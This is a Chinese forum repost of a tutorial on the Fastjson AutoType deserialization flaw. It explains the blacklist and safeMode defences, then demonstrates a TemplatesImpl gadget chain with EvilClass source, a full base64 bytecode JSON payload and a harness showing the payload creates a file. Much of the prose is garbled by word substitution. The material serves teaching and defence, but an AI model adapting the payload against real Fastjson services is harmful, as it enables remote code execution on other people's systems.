ToB企服应用市场:ToB评测及商务社交产业平台

标题: FastJson中AutoType反序列化毛病 [打印本页]

作者: 科技颠覆者    时间: 2024-6-13 19:42
标题: FastJson中AutoType反序列化毛病
1、频繁出现的反序列化毛病

   Fastjson1.2.80 反序列化毛病谍报,攻击者可以利用该毛病攻击长途服务器,
大概会造成恣意命令执行。在Fastjson<=1.2.83的版本中,通过新的Gadgets链绕过autoType开关,在autoType关闭的环境下仍然大概可以绕过好坏名单防御机制,实现了反序列化毛病利用的长途代码执行结果,同时,此次修复补丁也补充了autoType黑名单,Fastjson历史版本中,autoType安全黑名单已被多次绕过,官方也一直在持续补充增强该黑名单,并在1.2.68版本中引入一个safeMode的设置,设置safeMode后,无论白名单和黑名单,都不支持autoType,不过默认并未开启该设置。由于autoType开关毛病利用门槛较低,可绕过autoType限定,风险影响较大,发起尽快更新毛病修复版本或采用临时缓解步伐加固体系。
  2、parse()及parseObject()

FastJson中将JSON串反序列化成Java对象的两个常用方法是parse()及parseObject(),那么这两者有什么区别呢?
定义User测试类如下
  1. package com.company.project.bean;
  2. import java.io.Serializable;
  3. public class User  implements Serializable {
  4.     private static final long serialVersionUID = -8088742348807697485L;
  5.     private String userName;
  6.     public User() {
  7.         System.out.println("call construct method");
  8.     }
  9.     public String getUserName() {
  10.         System.out.println("call get method getUserName");
  11.         return userName;
  12.     }
  13.     public void setUserName(String userName) {
  14.         System.out.println("call set  method setUserName");
  15.         this.userName = userName;
  16.     }
  17. }
复制代码
fastJson中parse方法大概parseObject都可以将JSON串转化成Java对象,定义如下序列化后的Json串,做测试
  1. public static void main(String[] args) {
  2.      String userJson = "{"@type":"com.company.project.bean.User","userName":"testUserName"}";
  3.      //parseObject测试
  4.      Object object1 = JSON.parseObject(userJson);
  5.      System.out.println("=============");
  6.      //parse
  7.      Object object2 = JSON.parse(userJson);
  8. }
复制代码
控制台中输出结果如下:

根据控制台输出,可以看到parseObject方法会调用getter方法,而parse方法却不会,为什么呢?
parse()及parseObject()进行反序列化时的细节区别在于,parse() 会辨认并调用目的类的 setter 方法,而 parseObject() 由于要将返回值转化为JSONObject,多执行了 JSON.toJSON(obj),以是在处理惩罚过程中会调用反序列化目的类的getter 方法来将参数赋值给JSONObject
也就是说利用AutoType时,若利用parseObject方法,会触发该类的构造函数、get、set方法
这玩意和毛病有什么关系呢?
3、AutoType及安全校验

要了解FastJson的AutoType反序列化毛病,有必要先说明下FastJson中的AutoType是什么,有什么用,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的Class类型。
3.1 AutoType安全校验

知道了AutoType的作用后,假设如下场景,服务端接收到的请求Json串中包罗了指定恶意代码Class的@Type,服务端调用JSON.parseObject()时触发了该Class中的构造函数、大概是getter、setter方法中的恶意代码
这不就是反序列化攻击的思路了?
固然FastJson的开发者也意识到了这一点,这才诞生了AutoType的黑名单机制,以及SafeMode安全机制
3.2 AutoType黑名单机制

既然Json串中传入指定不可靠第三方Type类时是有被攻击风险的,自然最简单的做法就是在反序列化时起首校验传入的Class是否在黑名单Class列表中,FastJson中通过Hash算法,将一系列存在安全风险的Class全路径的Hash值存储在黑名单中,代码如下:

在传入指定类型Class时,会起首判断该类是否在黑名单中,如果是,则抛出异常,代码在com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)中

既然是黑名单,那么此中的风险类自然是要在不断迭代演进中添加的,不大概一步到位,屏蔽所有风险类,这也是为什么FastJson频繁升级来修复毛病的缘故原由
3.3 SafeMode安全机制

fastjson在1.2.68及之后的版本中引入了safeMode,设置safeMode后,无论白名单和黑名单,都不支持autoType,可一定水平上缓解反序列化Gadgets类变种攻击
对应到fastJson反序列化中的代码实现,代码在com.alibaba.fastjson.parser.ParserConfig#checkAutoType(java.lang.String, java.lang.Class<?>, int)中

3.4 攻击思路

如今转头再看一眼毛病描述,问题是不是就很清晰了,毛病在两种环境下轻易被利用:
1、执行AutoType安全校验,但新发现了一个黑名单中不存在的Class,利用该Class反序列化时执行的恶意代码进行攻击;
2、通过某种方法,绕过AutoType安全校验;
4、反序列化攻击模仿

为了方便演示毛病,下文采用的FastJson版本为1.2.22(高版本中已通过黑名单机制屏蔽该毛病)。演示利用一个黑名单中不存在的Class(在上文指定的FastJSON 1.2.22版本中还未屏蔽这个风险类)来执行攻击
4.1 TemplatesImpl攻击调用链路

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl是历史上出现过存在FastJson反序列毛病的一个第三方类,上文已经提到过,JSON串中传入指定类型Class时,调用parseObject方法反序列时会调用该Class的get、set及构造方法,那么如果指定JSON串中type为TemplatesImpl时

这里这个_bytecodes私有变量就是整个攻击计划的核心所在,虽然FastJson默认只能反序列化公有属性,但是可以在JSON串中指定_bytecodes为我们恶意攻击类的字节码,同时调用JSON.parseObject(json, Object.class, Feature.SupportNonPublicField)来反序列化私有属性,那么_bytecodes就可以是恣意指定代码
也就是说,如果事先定义好了Translet返回Class类的内容,而且在自定义的Translet类的构造函数中实现攻击代码,而且把攻击代码转化成字节码,传入TemplatesImpl的私有变量_bytecodes中,那么反序列化生成TemplatesImpl时就会利用我们自定义的字节码来生成Translet类,从而触发Translet构造函数中的攻击代码
以是攻击思路很显着了,分为三步:
4.2 攻击类Translet生成

定义如下攻击类EvilClass,继承自AbstractTranslet,在构造函数中写入自己的攻击代码,这里演示只做新增一个文件的操作
  1. package com.company.project.bean;
  2. import com.sun.org.apache.xalan.internal.xsltc.DOM;
  3. import com.sun.org.apache.xalan.internal.xsltc.TransletException;
  4. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  5. import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
  6. import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
  7. import java.io.IOException;
  8. public class EvilClass extends AbstractTranslet {
  9.     public EvilClass() throws IOException {
  10.         namesArray = new String[]{"1", "2"};
  11.         //简单模拟攻击代码操作,生成一个txt文件
  12.         Runtime.getRuntime().exec("/usr/bin/touch /tmp/evilAttack.txt");
  13.     }
  14.     @Override
  15.     public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
  16.     }
  17.     public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
  18.     }
  19. }
复制代码
4.3 构造攻击JSON串

然后将编译后的.class字节码文件进行base64编码,末了利用生成的字节码的base64编码来生成攻击JSON串
FastJson提取byte[]数组字段值时会进行Base64解码,以是我们构造payload时需要对 _bytecodes 进行Base64处理惩罚
  1. public static void  test_autoTypeDeny() throws Exception {
  2.         final String evilClassPath = "/Users/didi/IdeaProjects/spring-boot-api-project-seed/target/classes/com/company/project/bean/EvilClass.class";
  3.         String evilCode = readClass(evilClassPath);
  4.         final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
  5.         String text1 = "{"@type":"" + NASTY_CLASS +
  6.                 "","_bytecodes":[""+evilCode+""],'_name':'a.b','_tfactory':{ },"_outputProperties":{ }," +
  7.                 ""_name":"a","_version":"1.0","allowedProtocols":"all"}\n";
  8.         System.out.println(text1);
  9.     }
复制代码
末了,完备的恶意JSON串如下
  1. {
  2.     "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  3.     "_bytecodes":[
  4.         "yv66vgAAADQANgoACgAiBwAjCAAkCAAlCQAJACYKACcAKAgAKQoAJwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzczsBAApFeGNlcHRpb25zBwAtAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAuAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAALAAwBABBqYXZhL2xhbmcvU3RyaW5nAQABMQEAATIMAC8AMAcAMQwAMgAzAQAiL3Vzci9iaW4vdG91Y2ggL3RtcC9ldmlsQXR0YWNrLnR4dAwANAA1AQAiY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAKbmFtZXNBcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAADAAEACwAMAAIADQAAAFYABQABAAAAICq3AAEqBb0AAlkDEgNTWQQSBFO1AAW4AAYSB7YACFexAAAAAgAOAAAAEgAEAAAADQAEAA4AFgAQAB8AEQAPAAAADAABAAAAIAAQABEAAAASAAAABAABABMAAQAUABUAAQANAAAASQAAAAQAAAABsQAAAAIADgAAAAYAAQAAABUADwAAACoABAAAAAEAEAARAAAAAAABABYAFwABAAAAAQAYABkAAgAAAAEAGgAbAAMAAQAUABwAAgANAAAAPwAAAAMAAAABsQAAAAIADgAAAAYAAQAAABkADwAAACAAAwAAAAEAEAARAAAAAAABABYAFwABAAAAAQAdAB4AAgASAAAABAABAB8AAQAgAAAAAgAh"],
  5.     '_name':'a.b',
  6.     '_tfactory':{
  7.     },
  8.     "_outputProperties":{
  9.     },
  10.     "_name":"a",
  11.     "_version":"1.0",
  12.     "allowedProtocols":"all"
  13. }
复制代码
这个JSON串中最核心的部门是_bytecodes,它是要执行的恶意字节码的base64编码,@type是指定的剖析类,至于_name、_outputProperties等属性都是TemplatesImpl的私有变量,为了制止反序列化时报错,随意传入一个值
4.4 攻击模仿

如今假设体系接收到了上述构造的恶意JSON串,调用FastJSON的反序列化操作,如下所示,在反序列化操作的前后分别打印文件是否存在,以此来印证攻击代码(简单的生成一个文件)是否生效
  1. public static void main(String[] args) {
  2.         String json = "{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQANgoACgAiBwAjCAAkCAAlCQAJACYKACcAKAgAKQoAJwAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzczsBAApFeGNlcHRpb25zBwAtAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAuAQAKU291cmNlRmlsZQEADkV2aWxDbGFzcy5qYXZhDAALAAwBABBqYXZhL2xhbmcvU3RyaW5nAQABMQEAATIMAC8AMAcAMQwAMgAzAQAiL3Vzci9iaW4vdG91Y2ggL3RtcC9ldmlsQXR0YWNrLnR4dAwANAA1AQAiY29tL2NvbXBhbnkvcHJvamVjdC9iZWFuL0V2aWxDbGFzcwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAKbmFtZXNBcnJheQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEACQAKAAAAAAADAAEACwAMAAIADQAAAFYABQABAAAAICq3AAEqBb0AAlkDEgNTWQQSBFO1AAW4AAYSB7YACFexAAAAAgAOAAAAEgAEAAAADQAEAA4AFgAQAB8AEQAPAAAADAABAAAAIAAQABEAAAASAAAABAABABMAAQAUABUAAQANAAAASQAAAAQAAAABsQAAAAIADgAAAAYAAQAAABUADwAAACoABAAAAAEAEAARAAAAAAABABYAFwABAAAAAQAYABkAAgAAAAEAGgAbAAMAAQAUABwAAgANAAAAPwAAAAMAAAABsQAAAAIADgAAAAYAAQAAABkADwAAACAAAwAAAAEAEAARAAAAAAABABYAFwABAAAAAQAdAB4AAgASAAAABAABAB8AAQAgAAAAAgAh"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}";
  3.         //开启autoType支持
  4.         File fileBeforeAttack = new File("/tmp/evilAttack.txt");
  5.         System.out.println("before JSON.parseObject:"+fileBeforeAttack.exists());
  6.         //反序列化传入的攻击json串
  7.         Object obj = JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);
  8.         File fileAfterAttack = new File("/tmp/evilAttack.txt");
  9.         System.out.println("after JSON.parseObject:"+fileAfterAttack.exists());
  10.     }
复制代码
执行后命令行中输出如下,说明我们构造的恶意代码被成功执行

末了debug到恶意代码执行处,看下反序列化时的调用链路,如图所示

最底层触发的入口为JSON.parseObject,后面反序列化时调用TemplatesImpl#getOutProperties方法,终极利用TemplatesImpl类内部私有的_bytecodes生成我们自定义的攻击Class,从触发到自定义类的构造函数中的恶意代码。
固然Fastjson在高版本中已经采用了黑名单机制来屏蔽了TemplatesImpl类
不管如何,我们在利用开源的第三方库时,需关注官方的版本迭代,防止埋伏的毛病产生危害
5、修复方案

你用别人的东西,能咋办,升级啊。。。
+v:HuohuyunSec (https://huohuyun.net/)

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4